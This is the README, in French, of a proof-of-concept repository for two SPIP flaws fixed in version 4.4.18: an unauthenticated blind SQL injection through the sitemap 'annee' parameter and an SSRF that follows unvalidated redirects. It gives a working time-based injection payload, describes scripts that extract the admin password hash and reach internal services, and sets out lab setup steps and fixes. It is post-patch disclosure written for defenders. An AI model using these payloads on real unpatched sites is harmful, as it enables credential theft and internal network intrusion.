
PoC pour CVE-2026-72708 (SQLi en aveugle) et CVE-2026-109378 (SSRF) dans SPIP, toutes deux corrigées dans la version 4.4.18
Matériel de preuve de concept reproductible pour deux vulnérabilités que j'ai signalées dans SPIP, toutes deux corrigées dans la version 4.4.18.
| CVE | Classe | Auth | CVSS 4.0 | Point d'injection |
|---|---|---|---|---|
| CVE-2026-72708 | Injection SQL aveugle (CWE-89) | aucune | 8.7 Élevée | ecrire/req/mysql.php:1730 |
| CVE-2026-109378 | SSRF via redirection HTTP (CWE-918) | faible | 5.3 Moyenne | ecrire/inc/distant.php:567-582 |
Les deux ont été signalées à [email protected] le 2026-08-05. SPIP a livré le correctif dans
la version 4.4.18 le 2026-08-10. Ce matériel est publié après le correctif, ce qui est précisément
le but de sa publication.
Tout ce qui se trouve ici s'exécute contre un laboratoire local jetable lié à
127.0.0.1. Ne le pointez pas vers un hôte qui ne vous appartient pas.
spip_mysql_cite() renvoie une valeur non échappée lorsque la colonne de destination est de
type date et que la valeur correspond à /^\w+\(/ :
} elseif (sql_test_date($type) and preg_match('/^\w+\(/', $v)) {
return $v;
}
La regex était censée laisser passer NOW() en tant qu'appel de fonction plutôt qu'en tant que chaîne. Elle vérifie la forme d'un appel de fonction, pas son nom, donc SLEEP(5), IF(...) et UPDATEXML(...) la satisfont également.
Le sink atteignable est le critère {annee?} de squelettes-dist/sitemap.xml.html, qui est livré avec chaque installation et est comparé à une colonne datetime. Le sitemap est public, donc aucun compte n'est nécessaire :
GET /spip.php?page=sitemap.xml&annee=IF(1,SLEEP(5),0)
Exécutez-le :
bash CVE-2026-72708-sqli/poc_sqli.sh
Le script prouve le sink, montre le délai suivant l'argument de SLEEP(),
puis récupère les douze premiers caractères du hash du mot de passe admin via un
oracle purement temporel et vérifie le résultat par rapport à la base de données.
SLEEP() injecté se trouve dans une clause
WHERE, que MySQL évalue ligne par ligne. Avec zéro article, il ne se déclenche
jamais. lab/seed.sh insère un article publié.&z=<random>) à chaque rejeu. Le script le fait déjà.SPIP dispose d'une garde SSRF réellement efficace, valider_url_distante() : liste
blanche de schémas, plages privées et réservées, link-local, DNS rebinding, URLs
avec identifiants. Les appelants l'exécutent avant la récupération.
recuperer_url() suit ensuite jusqu'à dix redirections, et ne revalide jamais la
cible qu'il s'apprête à récupérer :
$url = suivre_lien($url, $res['location']); // 571, attacker controlled
// ... method adjustment, a log line ...
return recuperer_url($url, $options); // 582, fetched
Un 302 provenant d'un hôte qui passe la validation se retrouve directement dans tout ce que le garde-fou était censé bloquer, y compris 169.254.169.254.
Exécutez-le :
docker exec -w /var/www/html spiplab-app php /tmp/poc_ssrf.php
Le script montre le garde refusant correctement sept URL hostiles, puis récupère l'une de ces URL exactes via une redirection et affiche le contenu en retour.
cd lab
docker compose up -d # SPIP 4.4.16 + MariaDB, bound to 127.0.0.1:8888
sleep 40 # auto install
bash seed.sh # one published article, clears the page cache
La base de données n'a pas de port hôte. Le conteneur web n'écoute que sur l'interface loopback.
Démontez-le avec docker compose down -v.
Pour exercer le chemin SSRF, vous avez également besoin du redirecteur de substitution et d'un service interne uniquement :
docker cp redir.php spiplab-app:/var/www/html/redir.php
docker exec spiplab-app sh -c 'mkdir -p /tmp/internal && \
echo "INTERNAL-SERVICE-SECRET-7f3a9c2e" > /tmp/internal/secret.txt && \
(setsid nohup php -S 0.0.0.0:9001 -t /tmp/internal >/tmp/internal/srv.log 2>&1 &)'
redir.php n'émet qu'une redirection 302 vers ce que dit ?to=. Dans une vraie attaque, ce rôle
est joué par un hôte public que le garde accepte volontiers d'autoriser.
requests/ dans chaque répertoire contient les échanges HTTP bruts capturés sur le réseau
lors des exécutions ci-dessus, un .req et un .res par étape. Collez un .req dans
Burp Repeater tel quel.
Pour l'injection SQL, la paire intéressante est sqli-03-oracle-true (2,051 s) contre
sqli-04-oracle-false (0,049 s) : même question, seuil décalé d'un cran, et la
réponse est la différence de temps de réponse. Les corps sont identiques.
Pour le SSRF, ssrf-02-internal-hits.log est le journal d'accès du service
interne, montrant SPIP arrivant sur un hôte qu'il venait de refuser de résoudre.
Injection SQL, remplacez la regex permissive par une liste blanche :
} elseif (sql_test_date($type) and preg_match(
'/^(NOW|CURDATE|CURTIME|CURRENT_TIMESTAMP|CURRENT_DATE|CURRENT_TIME|UTC_DATE|UTC_TIME|UTC_TIMESTAMP)\s*\(\s*\)$/i',
$v
)) {
Appliquez la même modification à ecrire/req/sqlite_generique.php.
SSRF, validez la cible de redirection avant de la suivre :
$url = suivre_lien($url, $res['location']);
if (!valider_url_distante($url)) {
spip_log("SSRF: blocked redirect to $url", 'distant' . _LOG_ERREUR);
return false;
}
return recuperer_url($url, $options);
Ou passez simplement à la version 4.4.18, qui contient les deux.
CVE-2026-72708 a été co-découverte de manière indépendante par Franck Chevalier (Wayko) de Lexfo / Ambionics, qui a trouvé le même sink, le même point d'entrée non authentifié, et a construit les chaînes complètes jusqu'à l'exécution de code à distance via CVE-2026-72709 et CVE-2026-72710. Leur writeup est le document technique le plus approfondi et leurs outils sont disponibles sur ambionics/spip-exploits.
CVE-2026-109378 a été signalée en solo.
MIT. Publié pour les défenseurs, les auditeurs et toute personne souhaitant comprendre pourquoi une expression régulière de quinze caractères a fini par valoir 8,7 points.
-- ka3n1x